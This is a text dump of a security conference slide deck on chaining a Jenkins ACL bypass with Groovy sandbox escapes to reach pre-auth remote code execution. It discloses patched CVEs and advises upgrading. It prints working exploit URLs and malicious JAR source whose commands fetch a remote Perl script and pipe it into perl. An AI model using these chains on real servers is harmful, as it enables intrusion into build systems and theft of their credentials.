Hacking Jenkins! Orange Tsai Orange Tsai Come from Taiwan - - PowerPoint PPT Presentation

▶
hacking jenkins
SMART_READER_LITE
LIVE PREVIEW

Hacking Jenkins! Orange Tsai Orange Tsai Come from Taiwan - - PowerPoint PPT Presentation

Aug 31, 2022 281 likes •1.32k views

Hacking Jenkins! Orange Tsai Orange Tsai Come from Taiwan Principal security researcher at DEVCORE Speaker at Black Hat US/ASIA , DEFCON , HITB , CODEBLUE CTF player (Captain of HITCON CTF team and member of 217 ) Bounty

slide-1
SLIDE 1

Hacking Jenkins!

Orange Tsai

slide-2
SLIDE 2
  • Come from Taiwan
  • Principal security researcher at DEVCORE
  • Speaker at Black Hat US/ASIA, DEFCON, HITB, CODEBLUE…
  • CTF player (Captain of HITCON CTF team and member of 217)
  • Bounty hunter (Found RCE on Facebook, GitHub, Twitter, Uber…)

Orange Tsai

  • range_8361
slide-3
SLIDE 3

Outline

  • Introduction & architecture
  • The vulnerability root cause & how to exploit

1. ACL bypass vulnerability

  • 2. Sandbox escape vulnerability
  • Evolution of the exploit
slide-4
SLIDE 4

What is Jenkins

A famous CI/CD service

slide-5
SLIDE 5

What is CI/CD

Continuous Integration and Continuous Delivery

slide-6
SLIDE 6

Why Jenkins

Hacker-friendly

slide-7
SLIDE 7

JVM ecosystem report 2018

https://snyk.io/blog/jvm-ecosystem-report-2018/

slide-8
SLIDE 8

Jenkins for hackers

  • Lots of
  • source code
  • credential / GitHub token
  • computer node(Intranet!!!)
slide-9
SLIDE 9
slide-10
SLIDE 10
slide-11
SLIDE 11
slide-12
SLIDE 12
slide-13
SLIDE 13

Common attack vectors

  • Login portal
  • Known vulnerabilities
slide-14
SLIDE 14

Common attack vectors

  • Login portal
  • Known vulnerabilities
slide-15
SLIDE 15
slide-16
SLIDE 16

Common attack vectors

  • Login portal
  • Known vulnerabilities
slide-17
SLIDE 17

Past deserialization bugs

  • n Jenkins
slide-18
SLIDE 18

Past deserialization bugs

  • n Jenkins
  • CVE-2015-8103 - The first deserialization bug
  • CVE-2016-0788- Bypass the blacklist by the JRMP gadget
  • CVE-2016-0792- Bypass the blacklist by the XStream
  • CVE-2016-9299 - Bypass the blacklist by the LDAP gadget
  • CVE-2017-1000353 - Bypass the blacklist by the SignedObject…
slide-19
SLIDE 19

Jenkins remoting 2.54

CVE-2015-8103

slide-20
SLIDE 20

Jenkins remoting 2.55

CVE-2016-0788

slide-21
SLIDE 21

Jenkins remoting 3.2

CVE-2016-9299

slide-22
SLIDE 22

Jenkins remoting 3.28

CVE-2017-1000353

slide-23
SLIDE 23

Jenkins is so angry that rewrite all the serialization protocol into a new HTTP-based protocol

slide-24
SLIDE 24

No deserialization anymore

There is no more pre-auth RCE in Jenkins core since 2017

slide-25
SLIDE 25

Discover new one

slide-26
SLIDE 26

Reviewing scopes

1. Jenkins core

  • 2. Stapler framework
  • 3. Default plugins
slide-27
SLIDE 27

CVEs

1. CVE-2018-1000600 - CSRF and missing permission checks in GitHub Plugin 2. CVE-2018-1000861 - Code execution through crafted URLs 3. CVE-2018-1999002 - Arbitrary file read vulnerability 4. CVE-2018-1999046 - Unauthorized users could access agent logs 5. CVE-2019-1003000 - Sandbox Bypass in Script Security and Pipeline Plugins 6. CVE-2019-1003001 - Sandbox Bypass in Script Security and Pipeline Plugins 7. CVE-2019-1003002 - Sandbox Bypass in Script Security and Pipeline Plugins

slide-28
SLIDE 28

Review Java web

  • Where is the configuration?
  • Where is the library?
  • Where is the application code?
  • Where is the entry point?

ROOT/ ├── index.jsp ├── robots.txt └── WEB-INF ├── classes │ └── HelloWorld.class ├── lib │ └── servlet-api.jar └── web.xml

<servlet> <servlet-name>Stapler</servlet-name> <servlet-class>org.kohsuke.stapler.Stapler</servlet-class> </servlet> … <servlet-mapping> <servlet-name>Stapler</servlet-name> <url-pattern>/*</url-pattern> </servlet-mapping> Jenkins/war/src/main/webapp/WEB-INF/web.xml

slide-29
SLIDE 29

Jenkins dynamic routing

slide-30
SLIDE 30

Routing rules

<token> get<token>() get<token>(String) get<token>(Int) get<token>(Long) get<token>(StaplerRequest) getDynamic(String, …) doDynamic(…) do<token>(…) js<token>(…) @WebMethod annotation @JavaScriptMethod annotation

slide-31
SLIDE 31

Method Chain jenkins.model.Jenkins.getFoo() .getBar(1) .getBaz("orange")

http://jenkins/foo/bar/1/baz/orange

slide-32
SLIDE 32

CVE-2018-1000861

Code execution through crafted URLs Routing Access Control List Bypass Bypass Overall/Read permission

slide-33
SLIDE 33

What's wrong with that?

Here are two problems

slide-34
SLIDE 34

First problem

Every class in Java inherits Object class, except Object itself

slide-35
SLIDE 35

jenkins.model.Jenkins.getClass() .getClassLoader() .getResource("index.jsp") .getContent() http://jenkins/class/classLoader /resource/index.jsp/content

slide-36
SLIDE 36

jenkins.model.Jenkins .getClass() .getClassLoader() .getResource("index.jsp") .getContent()

  • 1. get<token>()
  • 2. get<token>(String)
  • 3. get<token>(Int)
  • 4. get<token>(Long)
  • 5. get<token>(StaplerRequest)
  • 6. getDynamic(String, …)
  • 7. doDynamic(…)
  • 8. do<token>(…)
  • 9. ……

public final Class<?> getClass()

java.lang.Object

slide-37
SLIDE 37

public ClassLoader getClassLoader()

java.lang.Class

  • 1. get<token>()
  • 2. get<token>(String)
  • 3. get<token>(Int)
  • 4. get<token>(Long)
  • 5. get<token>(StaplerRequest)
  • 6. getDynamic(String, …)
  • 7. doDynamic(…)
  • 8. do<token>(…)
  • 9. ……

jenkins.model.Jenkins .getClass() .getClassLoader() .getResource("index.jsp") .getContent()

slide-38
SLIDE 38

public URL getResource(String name)

java.lang.ClassLoader

  • 1. get<token>()
  • 2. get<token>(String)
  • 3. get<token>(Int)
  • 4. get<token>(Long)
  • 5. get<token>(StaplerRequest)
  • 6. getDynamic(String, …)
  • 7. doDynamic(…)
  • 8. do<token>(…)
  • 9. ……

jenkins.model.Jenkins .getClass() .getClassLoader() .getResource("index.jsp") .getContent()

slide-39
SLIDE 39

public final Object getContent()

java.net.URL

  • 1. get<token>()
  • 2. get<token>(String)
  • 3. get<token>(Int)
  • 4. get<token>(Long)
  • 5. get<token>(StaplerRequest)
  • 6. getDynamic(String, …)
  • 7. doDynamic(…)
  • 8. do<token>(…)
  • 9. ……

jenkins.model.Jenkins .getClass() .getClassLoader() .getResource("index.jsp") .getContent()

slide-40
SLIDE 40

Second problem

URL prefix whitelist bypass

slide-41
SLIDE 41

URL whitelists by default

slide-42
SLIDE 42

URL whitelists by default

jenkins.model.Jenkins .doLogout(…)

http://jenkins/logout

slide-43
SLIDE 43

jenkins.model.Jenkins .getSearch()

http://jenkins/search?q=

403 Forbidden

slide-44
SLIDE 44

What if there is a whitelisted method returns a Search object?

slide-45
SLIDE 45

URL whitelists by default

slide-46
SLIDE 46

http://jenkins/securityRealm/

public SecurityRealm getSecurityRealm()

Jenkins.model.Jenkins

jenkins.model.Jenkins .getSecurityRealm()

slide-47
SLIDE 47

http://jenkins/securityRealm/user/[name]/

public User getUser(String id)

Jenkins.model.HudsonPrivateSecurityRealm

jenkins.model.Jenkins .getSecurityRealm() .getUser([name])

slide-48
SLIDE 48

http://jenkins/securityRealm/user/[name]/search

public Search getSearch()

Jenkins.model.AbstractModelObject

jenkins.model.Jenkins .getSecurityRealm() .getUser([name]) .getSearch()

slide-49
SLIDE 49
slide-50
SLIDE 50

Jenkins checks the permission again before most of dangerous methods

It's sad

slide-51
SLIDE 51

http://jenkins/script

slide-52
SLIDE 52

Maximize the severity

Escalate to a pre-auth information leakage √ Escalate to a pre-auth Server Side Request Forgery √ Escalate to a pre-auth Remote Code Execution ?

slide-53
SLIDE 53

Remote Code Execution

  • CVE-2018-1000861 - Code execution through crafted URLs
  • CVE-2019-1003000 - Sandbox Bypass in Script Security Plugins
slide-54
SLIDE 54

What is Pipeline

Pipeline is a script to help developers more easier to write scripts for software building, testing and delivering!

slide-55
SLIDE 55

Pipeline is a DSL

Which built with Groovy

slide-56
SLIDE 56

Pipeline syntax check

http://jenkins/descriptorByName /org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition /checkScriptCompile?value=[Pipeline here]

slide-57
SLIDE 57

If you are the programmer

How do you implement this syntax-error-checking function?

slide-58
SLIDE 58

As I said before

Pipeline is a DSL built with Groovy

slide-59
SLIDE 59

No execute(), only AST parse

slide-60
SLIDE 60

Nothing happened :(

this.class.classLoader.parseClass(''' java.lang.Runtime.getRuntime().exec("touch pwned") ''');

slide-61
SLIDE 61

I failed to exploit before

But in this time, Meta-Programming flashed in my mind

slide-62
SLIDE 62

Meta-Programming is

Write programs that operate on other programs

  • Compiler
  • Preprocessor
  • Interpreter
  • Linker
  • …
slide-63
SLIDE 63

Two type

  • compile-time
  • Run-time
slide-64
SLIDE 64

compile-time Meta-Programming

  • Operate the program during compiler/parsing time
  • C Macro
  • C++ Template
  • Java Annotation
  • DSL
  • …

$ gcc test.c –c && ls –size -h test.o 2GB test.o

slide-65
SLIDE 65

compile-time Meta-Programming

  • Operate the program during compiler/parsing time
  • C Macro
  • C++ Template
  • Java Annotation
  • DSL
  • …

Fibonacci number

slide-66
SLIDE 66

compile-time Meta-Programming

  • Operate the program during compiler/parsing time
  • C Macro
  • C++ Template
  • Java Annotation
  • DSL
  • …
slide-67
SLIDE 67

Groovy Meta-Programming

Pipeline is a DSL built with Groovy

slide-68
SLIDE 68

Reading…

slide-69
SLIDE 69

@ASTTest

What the hell is that

slide-70
SLIDE 70

@ASTTest

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. @ASTTest can be placed

  • n any annotable node and requires two parameters:
slide-71
SLIDE 71

@ASTTest

@ASTTest(phase=CONVERSION, value={ assert node instanceof ClassNode assert node.name == 'Person' }) class Person {}

slide-72
SLIDE 72

Let's try that in local

this.class.classLoader.parseClass(''' @groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("touch pwned") }) class Person {} ''');

slide-73
SLIDE 73

Let's try that in local

$ ls poc.groovy $ groovy poc.groovy $ ls poc.groovy pwned

slide-74
SLIDE 74

While reproducing it on remote…

It shows

What the hell is that

slide-75
SLIDE 75

Root cause analysis

  • Pipeline Shared Groovy Libraries Plugin
  • A plugin for importing customized libraries into Pipeline
  • Jenkins loads your customized library before every Pipeline execute
  • The root cause is - during compile-time, there is no

corresponded library in classPath

slide-76
SLIDE 76

How to fix

Ask admin to uninstall the plugin

slide-77
SLIDE 77

How to fix

Ask admin to uninstall the plugin

slide-78
SLIDE 78

@Grab

@Grab(group='commons-lang', module='commons-lang', version='2.4') import org.apache.commons.lang.WordUtils println "Hello ${WordUtils.capitalize('world')}"

slide-79
SLIDE 79

@GrabResolve

@GrabResolver(name='restlet', root='http://maven.restlet.org/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet

slide-80
SLIDE 80

@GrabResolve

@GrabResolver(name='restlet', root='http://malicious.com/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet

slide-81
SLIDE 81

Oh, it works

220.133.114.83 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

slide-82
SLIDE 82

Import arbitrary JAR

But how to get code execution?

slide-83
SLIDE 83

Dig deeper into @Grab

We start to review the Groovy implementation

slide-84
SLIDE 84

groovy.grape.GrapeIvy

slide-85
SLIDE 85

groovy.grape.GrapeIvy

slide-86
SLIDE 86

Yes

We can poke the Constructor on any class!

slide-87
SLIDE 87

Chain all together

slide-88
SLIDE 88

Prepare the malicious JAR

public class Orange { public Orange() { try { String payload = "curl malicious/bc.pl | perl -"; String[] cmds = {"/bin/bash", "-c", payload}; java.lang.Runtime.getRuntime().exec(cmds); } catch (Exception e) { } }}

slide-89
SLIDE 89

Prepare the malicious JAR

$ javac Orange.java $ mkdir -p META-INF/services/ $ echo Orange >META-INF/services/org.codehaus.groovy.plugins.Runners $ find –type f ./Orange.java ./Orange.class ./META-INF/services/org.codehaus.groovy.plugins.Runners $ jar cvf poc-1.jar tw/ $ cp poc-1.jar ~/www/tw/orange/poc/1/ $ curl -I http://[host]/tw/orange/poc/1/poc-1.jar

slide-90
SLIDE 90

Attacking remote Jenkins!

http://jenkins/descriptorByName/org.jenkinsci.plugins.w

  • rkflow.cps.CpsFlowDefinition/checkScriptCompile

?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://evil/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange;

slide-91
SLIDE 91

Demo

https://youtu.be/abuH-j-6-s0

slide-92
SLIDE 92

Survey on Shodan

  • It is about 75000 Jenkins servers in the wild
  • $ cat versions | sort | uniq -c | sort -n | less
  • 1933 - Jenkins: 2.107.3
  • 1577 - Jenkins: 2.60.3
  • 1559 - Jenkins: 2.107.2
  • 1348 - Jenkins: 2.89.4
  • 1263 - Jenkins: 2.155
  • 1095 - Jenkins: 2.153
  • 1012 - Jenkins: 2.107.1
  • 958 - Jenkins: 2.89.3

11750- Jenkins: 2.150.1 5473 - Jenkins: 2.138.3 4583 - Jenkins: 2.121.3 4534 - Jenkins: 2.138.2 3389 - Jenkins: 2.156 2987 - Jenkins: 2.138.1 2530 - Jenkins: 2.121.1 2422 - Jenkins: 2.121.2

slide-93
SLIDE 93

Survey on Shodan

  • We suppose all installed the suggested plugins
  • Enable Overall/Read are vulnerable
  • Disable Overall/Read
  • Version > 2.138 can be chained with the ACL bypass vulnerability
  • It's about 45000/75000 vulnerable Jenkins we can hack
slide-94
SLIDE 94

Evolution of the exploit

2019-01-08

CVE-2019-1003000 Sandbox escape fixed (classLoader.parseClass)

2018-12-05

CVE-2018-1000861 ACL bypass fixed

2019-01-16

Release the blog Hacking Jenkins part-1

2019-01-28

CVE-2019-1003005 Another path to reach the syntax validation fixed (GroovyShell.parse)

2019-02-19

Release the blog Hacking Jenkins part-2 and the RCE chain

@orange_8361 @orange_8361 @orange_8361 @0ang3el @orange_8361

2019-03-06

CVE-2019-1003029 Another sandbox escape in GroovyShell.parse fixed

@webpentest

slide-95
SLIDE 95

Evolution of the exploit

  • Original entry (based on classLoader.parseClass)
  • Meta programming is still required to obtain code execution
  • New entry found by @0ang3el (based on GroovyShell.parse)
  • A more universal entry
  • The new entry is based on a higher level Groovy API
  • With more features added compared to the original API, @webpentest

found an easier way to escape the sandbox!

slide-96
SLIDE 96

More reliable exploit chain

http://jenkins/securityRealm/user/admin/descriptorByName/

  • rg.jenkinsci.plugins.scriptsecurity.sandbox.groovy.Secur

eGroovyScript/checkScript ?sandbox=true &value=public class poc { public poc() { "curl orange.tw/bc.pl | perl -".execute() } }

CVE-2019-1003029 by @webpentest CVE-2019-1003005 by @0ang3el CVE-2018-1000861 by @orange_8361

slide-97
SLIDE 97

awesome-jenkins-rce-2019

slide-98
SLIDE 98
slide-99
SLIDE 99
slide-100
SLIDE 100
slide-101
SLIDE 101
slide-102
SLIDE 102

Upgrade your Jenkins ASAP

slide-103
SLIDE 103
  • range_8361
  • range@chroot.org

Thanks!

https://blog.orange.tw